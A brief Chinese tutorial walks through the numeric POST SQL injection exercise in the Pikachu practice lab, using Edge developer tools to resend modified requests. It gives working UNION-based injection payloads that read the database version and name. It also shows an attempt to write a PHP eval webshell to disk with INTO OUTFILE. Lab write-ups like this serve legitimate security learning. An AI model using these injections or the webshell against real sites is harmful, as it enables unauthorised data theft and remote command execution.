目录
一、首先来到 pikachu 的 SQL-inject 界面,选择 “数字型注入(post)”
一、首先来到 pikachu 的 SQL-inject 界面,选择 “数字型注入(post)”
二、使用 Edge 自带工具进行抓包
我们可以发现这样一个post请求,我们看一下请求数据
我们再次使用 edge携带的默认工具,选择编辑并重新发送
点击body
此时我们不知道他的列数(但如果是比较有经验的就可以通过他的返回:hello, xxx
your email is: xxx 猜出至少有两列),但我们这就先用一列试试
我们目前猜测他使用的 sql 语句是:
SELECT [第一列],[第二列] FROM [表] WHERE id = 注入点 [...]
所有我们可以改成:
SELECT [第一列],[第二列] FROM [表] WHERE id = 3 union select 1 -- - [...]
“--[空格]” 在sql 中是单行注释,是为了防止后面有其他我们未知的语句,在我们注入后形成语法错误而导致报错!红色背景部分就是我们注入的语句
然后修改id,发送请求
发现报错,不止一列,那就再次修改(为了方便结果中查找,我就 ctrl+F 搜了一下 hello)
现在结果对了,那我们就可以试试我们想得到的数据
SELECT [第一列],[第二列] FROM [表] WHERE id = 3 union select version(),database() -- - [...]
这样就能同时查询到数据库版本和数据库信息了,但是前面正常的 id=3 的查询比较干扰我们的结果,我们可以通过后面加上 and 3=4 让他恒不成立,来达到只输出我们想要的信息:
SELECT [第一列],[第二列] FROM [表] WHERE id = 3 and 3=4 union select version(),database() -- - [...]
这样因为3=4不成立,这样输出的结果只剩下我们要的数据库版本与数据库名了
想试着写入一句话木马。结果出现了“The MySQL server is running with the --secure-file-priv option so it ”
语句:
3 and 3=4 union select 1,"<?php eval($_POST['cmd']);?>" into outfile "shell.php" -- -
出现错误原因是“secure_file_priv的值为null,表示禁止导出”
具体可以参考:
解决“MySQL server is running with the --secure-file-priv option so it cannot execute this statement”问题